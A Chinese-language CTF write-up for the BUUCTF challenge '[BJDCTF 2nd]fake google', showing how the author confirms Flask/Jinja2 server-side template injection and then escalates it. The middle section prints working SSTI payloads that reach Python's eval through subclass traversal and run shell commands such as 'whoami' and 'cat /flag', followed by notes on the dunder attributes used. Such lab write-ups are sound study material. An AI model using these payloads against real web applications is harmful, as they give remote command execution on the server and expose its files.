【学习笔记2】buu [BJDCTF 2nd]fake google
点进去一看什么都没有,在搜索栏随便敲了个1上去,搜索一下
查看源码
<!--ssssssti & a little trick --> P3's girlfirend is : 1<br><hr>
这提示简直不要更明显就是SSTI
继续输入{{7*7}},发现给出了49的运算结果,怎么这么像我之前看到的flask模板注入呢。
执行我之前搜集的payload
{{().__class__.__bases__[0].__subclasses__()}} //查看可用模块
{{().__class__.base__.__subclasses__().index(warnings.catch_warnings)}}//本来想用这条命令直接查找危险函数 ,结果不让用只好手动数一数
{{().__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}//找到危险函数后构造payload尝试执行命令,发现可以,构造最终答案
{{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}//可以直接查到flag竟然没有过滤
配上相关函数的解释
__class__ 返回类型所属的对象
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__ 返回该对象所继承的基类 __builtins__是做为默认初始模块
关于flask模板注入的详情,可以去看我之前写的博客
后来看到有的wp上说这道题可以tplmap一把梭,但是不知道为什么我没有跑出来。